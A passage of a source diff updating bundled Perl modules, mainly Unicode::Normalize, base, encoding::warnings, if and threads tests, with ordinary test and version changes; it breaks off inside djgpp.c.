+my $strC = "\x{3CE}\x{AC01}\x{AC03}";
+my @str1 = (substr($strD,0,3), substr($strD,3,4), substr($strD,7));
+my @str2 = (substr($strD,0,1), substr($strD,1,3), substr($strD,4));
+ok($strC eq NFC($strD));
+ok($strD eq join('', @str1));
+ok($strC eq arraynorm('NFC', @str1));
+ok($strD eq join('', @str2));
+ok($strC eq arraynorm('NFC', @str2));
+
+my @strX = ("\x{300}\x{AC00}", "\x{11A8}");
+my $strX = "\x{300}\x{AC01}";
+ok($strX eq NFC(join('', @strX)));
+ok($strX eq arraynorm('NFC', @strX));
+ok($strX eq NFKC(join('', @strX)));
+ok($strX eq arraynorm('NFKC', @strX));
+
+my @strY = ("\x{304B}\x{0308}", "\x{0323}\x{3099}");
+my $strY = ("\x{304C}\x{0323}\x{0308}");
+ok($strY eq NFC(join('', @strY)));
+ok($strY eq arraynorm('NFC', @strY));
+ok($strY eq NFKC(join('', @strY)));
+ok($strY eq arraynorm('NFKC', @strY));
+
+my @strZ = ("\x{304B}\x{0308}", "\x{0323}", "\x{3099}");
+my $strZ = ("\x{304B}\x{3099}\x{0323}\x{0308}");
+ok($strZ eq NFD(join('', @strZ)));
+ok($strZ eq arraynorm('NFD', @strZ));
+ok($strZ eq NFKD(join('', @strZ)));
+ok($strZ eq arraynorm('NFKD', @strZ));
+
+# 31
+
+# don't modify the source
+
+my $source = "ABC";
+($proc, $unproc) = splitOnLastStarter($source);
+ok($proc, "AB");
+ok($unproc, "C");
+ok($source, "ABC");
+
+# 34
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t
new file mode 100644
index 00000000000..cb4b6ea6375
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/test.t
@@ -0,0 +1,168 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..72\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize;
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub _unpack_U { Unicode::Normalize::unpack_U(@_) }
+
+#########################
+
+ok(NFD(""), "");
+ok(NFC(""), "");
+ok(NFKD(""), "");
+ok(NFKC(""), "");
+
+ok(NFD("A"), "A");
+ok(NFC("A"), "A");
+ok(NFKD("A"), "A");
+ok(NFKC("A"), "A");
+
+# 9
+
+# don't modify the source
+my $sNFD = "\x{FA19}";
+ok(NFD($sNFD), "\x{795E}");
+ok($sNFD, "\x{FA19}");
+
+my $sNFC = "\x{FA1B}";
+ok(NFC($sNFC), "\x{798F}");
+ok($sNFC, "\x{FA1B}");
+
+my $sNFKD = "\x{FA1E}";
+ok(NFKD($sNFKD), "\x{7FBD}");
+ok($sNFKD, "\x{FA1E}");
+
+my $sNFKC = "\x{FA26}";
+ok(NFKC($sNFKC), "\x{90FD}");
+ok($sNFKC, "\x{FA26}");
+
+# 17
+
+sub hexNFC {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U NFC _pack_U map hex, split ' ', shift;
+}
+sub hexNFD {
+ join " ", map sprintf("%04X", $_),
+ _unpack_U NFD _pack_U map hex, split ' ', shift;
+}
+
+ok(hexNFD("1E14 AC01"), "0045 0304 0300 1100 1161 11A8");
+ok(hexNFD("AC00 AE00"), "1100 1161 1100 1173 11AF");
+
+ok(hexNFC("0061 0315 0300 05AE 05C4 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("00E0 05AE 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0061 05AE 0300 05C4 0315 0062"), "00E0 05AE 05C4 0315 0062");
+ok(hexNFC("0045 0304 0300 AC00 11A8"), "1E14 AC01");
+ok(hexNFC("1100 1161 1100 1173 11AF"), "AC00 AE00");
+ok(hexNFC("1100 0300 1161 1173 11AF"), "1100 0300 1161 1173 11AF");
+
+ok(hexNFD("0061 0315 0300 05AE 05C4 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("00E0 05AE 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFD("0061 05AE 0300 05C4 0315 0062"), "0061 05AE 0300 05C4 0315 0062");
+ok(hexNFC("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05C4 0315 0300 05AE 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFD("0061 05AE 05C4 0300 0315 0062"), "0061 05AE 05C4 0300 0315 0062");
+ok(hexNFC("0000 0041 0000 0000"), "0000 0041 0000 0000");
+ok(hexNFD("0000 0041 0000 0000"), "0000 0041 0000 0000");
+
+ok(hexNFC("AC00 11A7"), "AC00 11A7");
+ok(hexNFC("AC00 11A8"), "AC01");
+ok(hexNFC("AC00 11A9"), "AC02");
+ok(hexNFC("AC00 11C2"), "AC1B");
+ok(hexNFC("AC00 11C3"), "AC00 11C3");
+
+# 39
+
+# Test Cases from Public Review Issue #29: Normalization Issue
+# cf. http://www.unicode.org/review/pr-29.html
+ok(hexNFC("0B47 0300 0B3E"), "0B47 0300 0B3E");
+ok(hexNFC("1100 0300 1161"), "1100 0300 1161");
+ok(hexNFC("0B47 0B3E 0300"), "0B4B 0300");
+ok(hexNFC("1100 1161 0300"), "AC00 0300");
+ok(hexNFC("0B47 0300 0B3E 0327"), "0B47 0300 0B3E 0327");
+ok(hexNFC("1100 0300 1161 0327"), "1100 0300 1161 0327");
+
+ok(hexNFC("0300 0041"), "0300 0041");
+ok(hexNFC("0300 0301 0041"), "0300 0301 0041");
+ok(hexNFC("0301 0300 0041"), "0301 0300 0041");
+ok(hexNFC("0000 0300 0000 0301"), "0000 0300 0000 0301");
+ok(hexNFC("0000 0301 0000 0300"), "0000 0301 0000 0300");
+
+ok(hexNFC("0327 0061 0300"), "0327 00E0");
+ok(hexNFC("0301 0061 0300"), "0301 00E0");
+ok(hexNFC("0315 0061 0300"), "0315 00E0");
+ok(hexNFC("0000 0327 0061 0300"), "0000 0327 00E0");
+ok(hexNFC("0000 0301 0061 0300"), "0000 0301 00E0");
+ok(hexNFC("0000 0315 0061 0300"), "0000 0315 00E0");
+
+# 56
+
+# NFC() and NFKC() should be unary.
+my $str11 = _pack_U(0x41, 0x0302, 0x0301, 0x62);
+my $str12 = _pack_U(0x1EA4, 0x62);
+ok(NFC $str11 eq $str12);
+ok(NFKC $str11 eq $str12);
+
+# NFD() and NFKD() should be unary.
+my $str21 = _pack_U(0xE0, 0xAC00);
+my $str22 = _pack_U(0x61, 0x0300, 0x1100, 0x1161);
+ok(NFD $str21 eq $str22);
+ok(NFKD $str21 eq $str22);
+
+# 60
+
+## Bug #53197: NFKC("\x{2000}") produces...
+
+ok(NFKC("\x{2002}") eq ' ');
+ok(NFKD("\x{2002}") eq ' ');
+ok(NFKC("\x{2000}") eq ' ');
+ok(NFKD("\x{2000}") eq ' ');
+
+ok(NFKC("\x{210C}") eq 'H');
+ok(NFKD("\x{210C}") eq 'H');
+ok(NFKC("\x{210D}") eq 'H');
+ok(NFKD("\x{210D}") eq 'H');
+
+ok(NFC("\x{F907}") eq "\x{9F9C}");
+ok(NFD("\x{F907}") eq "\x{9F9C}");
+ok(NFKC("\x{F907}") eq "\x{9F9C}");
+ok(NFKD("\x{F907}") eq "\x{9F9C}");
+
+# 72
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t
new file mode 100644
index 00000000000..4fdd121e07e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/tie.t
@@ -0,0 +1,82 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+BEGIN {
+ use Unicode::Normalize qw(:all);
+
+ unless (exists &Unicode::Normalize::bootstrap or 5.008 <= $]) {
+ print "1..0 # skipped: XSUB, or Perl 5.8.0 or later".
+ " needed for this test\n";
+ print $@;
+ exit;
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..17\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+ok(1);
+
+package tiescalar;
+sub TIESCALAR {
+ my ($class, $instance) = @_;
+ return bless \$instance => $class;
+}
+sub FETCH { return ${$_[0]}++ }
+sub STORE { return ${$_[0]} = $_[1] }
+sub DESTROY { undef ${$_[0]} }
+
+#########################
+
+package main;
+
+tie my $tie1, 'tiescalar', "123";
+ok(NFD($tie1), 123);
+ok(NFC($tie1), 124);
+ok(NFKD($tie1), 125);
+ok(NFKC($tie1), 126);
+ok(FCD($tie1), 127);
+ok(FCC($tie1), 128);
+
+tie my $tie2, 'tiescalar', "256";
+ok(normalize('NFD', $tie2), 256);
+ok(normalize('NFC', $tie2), 257);
+ok(normalize('NFKD', $tie2), 258);
+ok(normalize('NFKC', $tie2), 259);
+ok(normalize('FCD', $tie2), 260);
+ok(normalize('FCC', $tie2), 261);
+
+tie my $tie3, 'tiescalar', "315";
+ok(decompose($tie3), 315);
+ok(reorder($tie3), 316);
+ok(compose($tie3), 317);
+ok(composeContiguous($tie3), 318);
+
diff --git a/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t b/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t
index ef6c25d201b..9bc707bfaed 100644
--- a/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t
+++ b/gnu/usr.bin/perl/dist/base/t/base-open-chunk.t
@@ -7,7 +7,7 @@ $/ = \1;
<$fh>;
(my $test_file = $file) =~ s/-open-chunk//;
-unless (my $return = do $test_file) {
+unless (my $return = do "./$test_file") {
warn "couldn't parse $test_file: $@" if $@;
warn "couldn't do $test_file: $!" unless defined $return;
warn "couldn't run $test_file" unless $return;
diff --git a/gnu/usr.bin/perl/dist/base/t/base-open-line.t b/gnu/usr.bin/perl/dist/base/t/base-open-line.t
index ce6cf1538d4..fa49ee72ff5 100644
--- a/gnu/usr.bin/perl/dist/base/t/base-open-line.t
+++ b/gnu/usr.bin/perl/dist/base/t/base-open-line.t
@@ -5,7 +5,7 @@ open my $fh, '<', $file or die "Can't open $file: $!";
<$fh>;
(my $test_file = $file) =~ s/-open-line//;
-unless (my $return = do $test_file) {
+unless (my $return = do "./$test_file") {
warn "couldn't parse $test_file: $@" if $@;
warn "couldn't do $test_file: $!" unless defined $return;
warn "couldn't run $test_file" unless $return;
diff --git a/gnu/usr.bin/perl/dist/base/t/base.t b/gnu/usr.bin/perl/dist/base/t/base.t
index 0bbb5be9478..c56e9acb4d2 100755
--- a/gnu/usr.bin/perl/dist/base/t/base.t
+++ b/gnu/usr.bin/perl/dist/base/t/base.t
@@ -8,7 +8,7 @@ use_ok('base');
package No::Version;
-use vars qw($Foo);
+our $Foo;
sub VERSION { 42 }
package Test::Version;
diff --git a/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t b/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t
index 93bca34e2e0..1f7d9678517 100755
--- a/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t
+++ b/gnu/usr.bin/perl/dist/base/t/fields-5_6_0.t
@@ -8,7 +8,7 @@ if( $] >= 5.009 ) {
}
use strict;
-use vars qw($Total_tests);
+our $Total_tests;
my $test_num = 1;
BEGIN { $| = 1; $^W = 1; }
@@ -62,7 +62,7 @@ BEGIN {
}
use strict;
-use vars qw($DEBUG);
+our $DEBUG;
package B1;
use fields qw(b1 b2 b3);
diff --git a/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t b/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t
index 9abab94d393..2888ead9a82 100755
--- a/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t
+++ b/gnu/usr.bin/perl/dist/base/t/fields-5_8_0.t
@@ -22,7 +22,7 @@ BEGIN {
}
use strict;
-use vars qw($DEBUG);
+our $DEBUG;
package B1;
use fields qw(b1 b2 b3);
diff --git a/gnu/usr.bin/perl/dist/encoding-warnings/lib/encoding/warnings.pm b/gnu/usr.bin/perl/dist/encoding-warnings/lib/encoding/warnings.pm
index d5c41841309..d75277e2109 100644
--- a/gnu/usr.bin/perl/dist/encoding-warnings/lib/encoding/warnings.pm
+++ b/gnu/usr.bin/perl/dist/encoding-warnings/lib/encoding/warnings.pm
@@ -1,5 +1,5 @@
package encoding::warnings;
-$encoding::warnings::VERSION = '0.12';
+$encoding::warnings::VERSION = '0.13';
use strict;
use 5.007;
@@ -10,8 +10,22 @@ encoding::warnings - Warn on implicit encoding conversions
=head1 VERSION
-This document describes version 0.11 of encoding::warnings, released
-June 5, 2007.
+This document describes version 0.13 of encoding::warnings, released
+June 20, 2016.
+
+=head1 NOTICE
+
+As of Perl 5.26.0, this module has no effect. The internal Perl feature
+that was used to implement this module has been removed. In recent years,
+much work has been done on the Perl core to eliminate discrepancies in the
+treatment of upgraded versus downgraded strings. In addition, the
+L<encoding> pragma, which caused many of the problems, is no longer
+supported. Thus, the warnings this module produced are no longer
+necessary.
+
+Hence, if you load this module on Perl 5.26.0, you will get one warning
+that the module is no longer supported; and the module will do nothing
+thereafter.
=head1 SYNOPSIS
@@ -146,8 +160,16 @@ sub ASCII () { 0 }
sub LATIN1 () { 1 }
sub FATAL () { 2 }
-# Install a ${^ENCODING} handler if no other one are already in place.
sub import {
+ if ($] >= 5.025003) {
+ require Carp;
+ Carp::cluck(
+ "encoding::warnings is not supported on Perl 5.26.0 and later"
+ );
+ return;
+ }
+
+ # Install a ${^ENCODING} handler if no other one are already in place.
my $class = shift;
my $fatal = shift || '';
diff --git a/gnu/usr.bin/perl/dist/encoding-warnings/t/1-warning.t b/gnu/usr.bin/perl/dist/encoding-warnings/t/1-warning.t
index 9b04cb67674..fa0bb6e4759 100644
--- a/gnu/usr.bin/perl/dist/encoding-warnings/t/1-warning.t
+++ b/gnu/usr.bin/perl/dist/encoding-warnings/t/1-warning.t
@@ -14,9 +14,25 @@ BEGIN {
}
use Test;
-BEGIN { plan tests => 2 }
-
use strict;
+
+BEGIN {
+ if ("$]" >= 5.025) {
+ # Test the new almost-noop behaviour in new perls.
+ plan tests => 3;
+ my $w;
+ $SIG{__WARN__} = sub { $w .= shift };
+ require encoding::warnings;
+ ok $w, undef, 'no warning from requiring encoding::warnings';
+ ok(encoding::warnings->VERSION);
+ encoding::warnings->import;
+ ok $w, qr/^encoding::warnings is not supported /, 'import warning';
+ exit;
+ }
+ # else continue with your usual scheduled testing...
+ plan tests => 2;
+}
+
use encoding::warnings;
ok(encoding::warnings->VERSION);
diff --git a/gnu/usr.bin/perl/dist/encoding-warnings/t/2-fatal.t b/gnu/usr.bin/perl/dist/encoding-warnings/t/2-fatal.t
index ef001814dff..d2928cd1f1e 100644
--- a/gnu/usr.bin/perl/dist/encoding-warnings/t/2-fatal.t
+++ b/gnu/usr.bin/perl/dist/encoding-warnings/t/2-fatal.t
@@ -3,6 +3,10 @@
# $Revision: #4 $ $Change: 1626 $ $DateTime: 2004-03-14T16:53:19.351256Z $
BEGIN {
+ if ("$]" >= 5.025) {
+ print "1..0 # Skip: encoding::warnings not supported on perl 5.26\n";
+ exit 0;
+ }
if (ord("A") != 65) {
print "1..0 # Skip: Encode not working on EBCDIC\n";
exit 0;
diff --git a/gnu/usr.bin/perl/dist/encoding-warnings/t/3-normal.t b/gnu/usr.bin/perl/dist/encoding-warnings/t/3-normal.t
index f0e6446a56b..a66798bb73f 100644
--- a/gnu/usr.bin/perl/dist/encoding-warnings/t/3-normal.t
+++ b/gnu/usr.bin/perl/dist/encoding-warnings/t/3-normal.t
@@ -1,3 +1,10 @@
+BEGIN {
+ if ("$]" >= 5.025) {
+ print "1..0 # Skip: encoding::warnings not supported on perl 5.26\n";
+ exit 0;
+ }
+}
+
use Test;
BEGIN { plan tests => 2 }
diff --git a/gnu/usr.bin/perl/dist/encoding-warnings/t/4-lexical.t b/gnu/usr.bin/perl/dist/encoding-warnings/t/4-lexical.t
index bdd9f21eecf..0f6b4c19335 100644
--- a/gnu/usr.bin/perl/dist/encoding-warnings/t/4-lexical.t
+++ b/gnu/usr.bin/perl/dist/encoding-warnings/t/4-lexical.t
@@ -1,6 +1,10 @@
use strict;
use Test;
BEGIN {
+ if ("$]" >= 5.025) {
+ print "1..0 # Skip: encoding::warnings not supported on perl 5.26\n";
+ exit 0;
+ }
if (ord("A") != 65) {
print "1..0 # Skip: Encode not working on EBCDIC\n";
exit 0;
diff --git a/gnu/usr.bin/perl/dist/if/Changes b/gnu/usr.bin/perl/dist/if/Changes
index 99568624a31..c58c8392696 100644
--- a/gnu/usr.bin/perl/dist/if/Changes
+++ b/gnu/usr.bin/perl/dist/if/Changes
@@ -1,5 +1,14 @@
Revision history for Perl extension if.
+0.0608 2018-02-01
+ - Clarify documentation and test more thoroughly.
+ [perl 132732] use if - behaviour does not match documentation
+
+0.0607 2017-06-01
+ - Add documentation re modules with empty import list
+ [perl 131142] "if" pragma POD addition for modules with an
+ empty import list
+
0.0606 2015-10-01
- add license information to pod
diff --git a/gnu/usr.bin/perl/dist/if/MANIFEST b/gnu/usr.bin/perl/dist/if/MANIFEST
new file mode 100644
index 00000000000..e2fa5ba37a6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/if/MANIFEST
@@ -0,0 +1,8 @@
+Changes
+if.pm
+LICENSE
+Makefile.PL
+MANIFEST
+META.json Module meta-data (added by MakeMaker)
+META.yml Module meta-data (added by MakeMaker)
+t/if.t
diff --git a/gnu/usr.bin/perl/dist/if/META.json b/gnu/usr.bin/perl/dist/if/META.json
new file mode 100644
index 00000000000..7e9e3ebfad2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/if/META.json
@@ -0,0 +1,43 @@
+{
+ "abstract" : "C<use> a Perl module if a condition holds",
+ "author" : [
+ "Ilya Zakharevich <ilyaz@cpan.org>"
+ ],
+ "dynamic_config" : 0,
+ "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010",
+ "license" : [
+ "perl_5"
+ ],
+ "meta-spec" : {
+ "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+ "version" : "2"
+ },
+ "name" : "if",
+ "no_index" : {
+ "directory" : [
+ "t",
+ "inc"
+ ]
+ },
+ "prereqs" : {
+ "build" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ },
+ "configure" : {
+ "requires" : {
+ "ExtUtils::MakeMaker" : "0"
+ }
+ }
+ },
+ "release_status" : "stable",
+ "resources" : {
+ "bugtracker" : {
+ "web" : "https://rt.perl.org"
+ },
+ "repository" : {}
+ },
+ "version" : "0.0608",
+ "x_serialization_backend" : "JSON::PP version 2.27400_02"
+}
diff --git a/gnu/usr.bin/perl/dist/if/META.yml b/gnu/usr.bin/perl/dist/if/META.yml
new file mode 100644
index 00000000000..d85cfc66873
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/if/META.yml
@@ -0,0 +1,23 @@
+---
+abstract: 'C<use> a Perl module if a condition holds'
+author:
+ - 'Ilya Zakharevich <ilyaz@cpan.org>'
+build_requires:
+ ExtUtils::MakeMaker: '0'
+configure_requires:
+ ExtUtils::MakeMaker: '0'
+dynamic_config: 0
+generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: '1.4'
+name: if
+no_index:
+ directory:
+ - t
+ - inc
+resources:
+ bugtracker: https://rt.perl.org
+version: '0.0608'
+x_serialization_backend: 'CPAN::Meta::YAML version 0.018'
diff --git a/gnu/usr.bin/perl/dist/lib/lib_pm.PL b/gnu/usr.bin/perl/dist/lib/lib_pm.PL
index 8706e82e447..a4c5cc38a74 100644
--- a/gnu/usr.bin/perl/dist/lib/lib_pm.PL
+++ b/gnu/usr.bin/perl/dist/lib/lib_pm.PL
@@ -61,7 +61,7 @@ if ($expand_config_vars) {
q(reverse split / /, $Config{inc_version_list});
}
-open OUT,">$file" or die "Can't create $file: $!";
+open OUT,'>', $file or die "Can't create $file: $!";
print "Extracting $file (with variable substitutions)\n";
@@ -86,7 +86,7 @@ my \@inc_version_list = $Config_inc_version_list;
print OUT <<'!NO!SUBS!';
our @ORIG_INC = @INC; # take a handy copy of 'original' value
-our $VERSION = '0.63';
+our $VERSION = '0.64';
sub import {
shift;
diff --git a/gnu/usr.bin/perl/dist/threads/t/kill3.t b/gnu/usr.bin/perl/dist/threads/t/kill3.t
new file mode 100644
index 00000000000..61c96e58cb9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/threads/t/kill3.t
@@ -0,0 +1,121 @@
+use strict;
+use warnings;
+
+BEGIN {
+ require($ENV{PERL_CORE} ? '../../t/test.pl' : './t/test.pl');
+
+ use Config;
+ if (! $Config{'useithreads'}) {
+ skip_all(q/Perl not compiled with 'useithreads'/);
+ }
+}
+
+use ExtUtils::testlib;
+use File::Path ();
+use File::Spec;
+use Cwd;
+my $cwd = cwd();
+
+use threads;
+
+BEGIN {
+ if (! eval 'use threads::shared; 1') {
+ skip_all('threads::shared not available');
+ }
+
+ local $SIG{'HUP'} = sub {};
+ my $thr = threads->create(sub {});
+ eval { $thr->kill('HUP') };
+ $thr->join();
+ if ($@ && $@ =~ /safe signals/) {
+ skip_all('Not using safe signals');
+ }
+
+ plan(2);
+};
+
+{
+ $SIG{'KILL'} = undef;
+ my $tmp = File::Spec->tmpdir();
+ chdir $tmp;
+ my $dir = File::Spec->catdir( $tmp, "toberead$$" );
+ mkdir $dir;
+ chdir $dir;
+ for ('a'..'e') {
+ open my $THING, ">$_";
+ close $THING or die "$_: $!";
+ }
+ chdir $cwd;
+
+ local $ARGV[0] = undef;
+ fresh_perl_is(<<'EOI', 'ok', { }, 'RT #77934: Case: Perl-false $ARGV[0]');
+ local $@;
+ my $DIRH;
+ my $thr;
+ $thr = async {
+ # Thread 'cancellation' signal handler
+ $SIG{'KILL'} = sub { threads->exit(); };
+
+ opendir $DIRH, ".";
+ my $start = telldir $DIRH;
+ while (1) {
+ readdir $DIRH or seekdir $DIRH, 0;
+ }
+ } if $ARGV[0];
+
+ opendir $DIRH, ".";
+ for(1..5) {
+ select undef, undef, undef, .25;
+ }
+
+ if ($ARGV[0]) {
+ $thr->kill('KILL')->detach();
+ }
+ print($@ ? 'not ok' : 'ok');
+EOI
+ File::Path::rmtree($dir);
+}
+
+{
+ $SIG{'KILL'} = undef;
+ my $tmp = File::Spec->tmpdir();
+ chdir $tmp;
+ my $dir = File::Spec->catdir( $tmp, "shouldberead$$" );
+ mkdir $dir;
+ chdir $dir;
+ for ('a'..'e') {
+ open my $THING, ">$_";
+ close $THING or die "$_: $!";
+ }
+ chdir $cwd;
+
+ local $ARGV[0] = 1;
+ fresh_perl_is(<<'EOI', 'ok', { }, 'RT #77934: Case: Perl-true $ARGV[0]');
+ local $@;
+ my $DIRH;
+ my $thr;
+ $thr = async {
+ # Thread 'cancellation' signal handler
+ $SIG{'KILL'} = sub { threads->exit(); };
+
+ opendir $DIRH, ".";
+ my $start = telldir $DIRH;
+ while (1) {
+ readdir $DIRH or seekdir $DIRH, 0;
+ }
+ } if $ARGV[0];
+
+ opendir $DIRH, ".";
+ for(1..5) {
+ select undef, undef, undef, .25;
+ }
+
+ if ($ARGV[0]) {
+ $thr->kill('KILL')->detach();
+ }
+ print($@ ? 'not ok' : 'ok');
+EOI
+ File::Path::rmtree($dir);
+}
+
+exit(0);
diff --git a/gnu/usr.bin/perl/dist/threads/t/problems.t b/gnu/usr.bin/perl/dist/threads/t/problems.t
index 3f28c0f3b51..3657d3403e1 100755
--- a/gnu/usr.bin/perl/dist/threads/t/problems.t
+++ b/gnu/usr.bin/perl/dist/threads/t/problems.t
@@ -21,18 +21,14 @@ BEGIN {
$| = 1;
if ($] == 5.008) {
- print("1..11\n"); ### Number of tests that will be run ###
+ print("1..6\n"); ### Number of tests that will be run ###
} else {
- print("1..15\n"); ### Number of tests that will be run ###
+ print("1..10\n"); ### Number of tests that will be run ###
}
};
print("ok 1 - Loaded\n");
-### Start of Testing ###
-
-no warnings 'deprecated'; # Suppress warnings related to :unique
-
use Hash::Util 'lock_keys';
my $test :shared = 2;
@@ -93,50 +89,6 @@ if ($] != 5.008)
}
-# bugid 24383 - :unique hashes weren't being made readonly on interpreter
-# clone; check that they are.
-
-our $unique_scalar : unique;
-our @unique_array : unique;
-our %unique_hash : unique;
-threads->create(sub {
- lock($test);
- my $TODO = ":unique needs to be re-implemented in a non-broken way";
- eval { $unique_scalar = 1 };
- print $@ =~ /read-only/
- ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n";
- $test++;
- eval { $unique_array[0] = 1 };
- print $@ =~ /read-only/
- ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n";
- $test++;
- if ($] >= 5.008003 && $^O ne 'MSWin32') {
- eval { $unique_hash{abc} = 1 };
- print $@ =~ /disallowed/
- ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n";
- } else {
- print("ok $test # SKIP $TODO - unique_hash\n");
- }
- $test++;
- })->join;
-
-# bugid #24940 :unique should fail on my and sub declarations
-
-for my $decl ('my $x : unique', 'sub foo : unique') {
- {
- lock($test);
- if ($] >= 5.008005) {
- eval $decl;
- print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/
- ? '' : 'not ', "ok $test - $decl\n";
- } else {
- print("ok $test # SKIP $decl\n");
- }
- $test++;
- }
-}
-
-
# Returning a closure from a thread caused problems. If the last index in
# the anon sub's pad wasn't for a lexical, then a core dump could occur.
# Otherwise, there might be leaked scalars.
diff --git a/gnu/usr.bin/perl/dist/threads/t/unique.t b/gnu/usr.bin/perl/dist/threads/t/unique.t
new file mode 100644
index 00000000000..a9cfdbbcd22
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/threads/t/unique.t
@@ -0,0 +1,81 @@
+use strict;
+use warnings;
+
+BEGIN {
+ use Config;
+ if (! $Config{'useithreads'}) {
+ print("1..0 # SKIP Perl not compiled with 'useithreads'\n");
+ exit(0);
+ }
+ if ($] >= 5.027000) {
+ print("1..0 # SKIP 'unique' attribute no longer exists\n");
+ exit(0);
+ }
+}
+
+use ExtUtils::testlib;
+
+use threads;
+
+BEGIN {
+ if (! eval 'use threads::shared; 1') {
+ print("1..0 # SKIP threads::shared not available\n");
+ exit(0);
+ }
+
+ $| = 1;
+ print("1..6\n") ; ### Number of tests that will be run ###
+}
+
+print("ok 1 - Loaded\n");
+
+### Start of Testing ###
+
+no warnings 'deprecated'; # Suppress warnings related to :unique
+
+my $test :shared = 2;
+
+# bugid 24383 - :unique hashes weren't being made readonly on interpreter
+# clone; check that they are.
+
+our $unique_scalar : unique;
+our @unique_array : unique;
+our %unique_hash : unique;
+threads->create(sub {
+ lock($test);
+ my $TODO = ":unique needs to be re-implemented in a non-broken way";
+ eval { $unique_scalar = 1 };
+ print $@ =~ /read-only/
+ ? '' : 'not ', "ok $test # TODO $TODO - unique_scalar\n";
+ $test++;
+ eval { $unique_array[0] = 1 };
+ print $@ =~ /read-only/
+ ? '' : 'not ', "ok $test # TODO $TODO - unique_array\n";
+ $test++;
+ if ($] >= 5.008003 && $^O ne 'MSWin32') {
+ eval { $unique_hash{abc} = 1 };
+ print $@ =~ /disallowed/
+ ? '' : 'not ', "ok $test # TODO $TODO - unique_hash\n";
+ } else {
+ print("ok $test # SKIP $TODO - unique_hash\n");
+ }
+ $test++;
+ })->join;
+
+# bugid #24940 :unique should fail on my and sub declarations
+
+for my $decl ('my $x : unique', 'sub foo : unique') {
+ {
+ lock($test);
+ if ($] >= 5.008005) {
+ eval $decl;
+ print $@ =~ /^The 'unique' attribute may only be applied to 'our' variables/
+ ? '' : 'not ', "ok $test - $decl\n";
+ } else {
+ print("ok $test # SKIP $decl\n");
+ }
+ $test++;
+ }
+}
+
+
diff --git a/gnu/usr.bin/perl/djgpp/djgpp.c b/gnu/usr.bin/perl/djgpp/djgpp.c
index 6d136e38bbf..24d12f254b2 100644
--- a/gnu/usr.bin/perl/djgpp/djgpp.c
+++ b/gnu/usr.bin/perl/djgpp/djgpp.c
@@ -150,9 +150,10 @@ do_aspawn (pTHX_ SV *really,SV **mark,SV **sp)
int
do_spawn2 (pTHX_ char *cmd,int execf)
{
- char **a,*s,*shell,*metachars;
- int rc,unixysh;
